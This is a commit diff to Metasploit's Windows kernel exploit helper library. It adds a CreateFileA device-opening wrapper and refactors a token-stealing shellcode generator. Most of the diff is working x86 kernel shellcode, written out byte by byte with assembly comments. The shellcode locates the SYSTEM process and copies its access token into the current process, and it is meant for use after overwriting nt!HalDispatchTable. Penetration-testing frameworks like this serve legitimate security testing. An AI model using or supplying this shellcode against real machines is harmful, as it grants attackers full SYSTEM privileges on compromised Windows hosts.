Skip to content

Commit 893b9a6

Browse files
committed
Add an open_device function for wrapping CreateFileA
1 parent 43a5120 commit 893b9a6

File tree

1 file changed

+60
-21
lines changed

1 file changed

+60
-21
lines changed

lib/msf/core/exploit/local/windows_kernel.rb

Lines changed: 60 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@ module Exploit::Local::WindowsKernel
66
# Find the address of nt!HalDispatchTable.
77
#
88
# @return [Integer] The address of nt!HalDispatchTable.
9+
# @return [nil] If the address could not be found.
910
#
1011
def find_haldispatchtable
1112
kernel_info = find_sys_base(nil)
@@ -36,8 +37,8 @@ def find_haldispatchtable
3637
#
3738
# @param drvname [String, nil] The name of the module to find, otherwise the kernel
3839
# if this value is nil.
39-
#
40-
# @return [Array, nil] An array containing the base address and the located drivers name.
40+
# @return [Array] An array containing the base address and the located drivers name.
41+
# @return [nil] If the name specified could not be found.
4142
#
4243
def find_sys_base(drvname)
4344
unless session.railgun.dlls.keys.include?('psapi')
@@ -78,34 +79,72 @@ def find_sys_base(drvname)
7879
end
7980
end
8081

82+
#
83+
# Open a device on a meterpreter session with a call to CreateFileA and return
84+
# the handle. Both optional parameters lpSecurityAttributes and hTemplateFile
85+
# are specified as nil.
86+
#
87+
# @param file_name [String] Passed to CreateFileA as the lpFileName parameter.
88+
# @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter.
89+
# @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter.
90+
# @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter.
91+
# @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter.
92+
# @return [Integer] The device handle.
93+
# @return [nil] If the call to CreateFileA failed.
94+
#
95+
def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0)
96+
handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil)
97+
if handle['return'] == 0xffffffff
98+
print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']})")
99+
return nil
100+
end
101+
handle['return']
102+
end
103+
81104
#
82105
# Generate x86 token stealing shellcode suitable for use when overwriting the
83106
# pointer at nt!HalDispatchTable+0x4. The shellcode preserves the edx and ebx
84107
# registers.
85108
#
86109
# @param target [Hash] The target information containing the offsets to _KPROCESS,
87110
# _TOKEN, _UPID and _APLINKS.
88-
#
111+
# @param arch [String] The architecture to return shellcode for. If this is nil,
112+
# the arch will be guessed from the target and then module information.
89113
# @return [String] The token stealing shellcode.
114+
# @raise [ArgumentError] If the arch is incompatible.
90115
#
91-
def token_stealing_shellcode_x86(target)
92-
tokenstealing = "\x52" # push edx # Save edx on the stack
93-
tokenstealing << "\x53" # push ebx # Save ebx on the stack
94-
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
95-
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
96-
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
97-
tokenstealing << "\x8b\xc8" # mov ecx, eax
98-
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
99-
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
100-
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
101-
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
102-
tokenstealing << "\x75\xe8" # jne 0000101e ======================
103-
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
104-
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
105-
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
106-
tokenstealing << "\x5b" # pop ebx # Restores ebx
107-
tokenstealing << "\x5a" # pop edx # Restores edx
108-
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
116+
def token_stealing_shellcode(target, arch = nil)
117+
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
118+
arch = module_info['Arch'] if arch.nil? && module_info['Arch']
119+
if arch.nil?
120+
print_error('Can not determine the target architecture')
121+
fail ArgumentError, 'Invalid arch'
122+
end
123+
124+
case arch
125+
when ARCH_X86
126+
tokenstealing = "\x52" # push edx # Save edx on the stack
127+
tokenstealing << "\x53" # push ebx # Save ebx on the stack
128+
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
129+
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
130+
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
131+
tokenstealing << "\x8b\xc8" # mov ecx, eax
132+
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
133+
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
134+
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
135+
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
136+
tokenstealing << "\x75\xe8" # jne 0000101e ======================
137+
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
138+
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
139+
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
140+
tokenstealing << "\x5b" # pop ebx # Restores ebx
141+
tokenstealing << "\x5a" # pop edx # Restores edx
142+
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
143+
else
144+
# if this is reached the issue most likely exists in the exploit module
145+
print_error('Unsupported arch for token stealing shellcode')
146+
fail ArgumentError, 'Invalid arch'
147+
end
109148
tokenstealing
110149
end
111150
end

0 commit comments

Comments
 (0)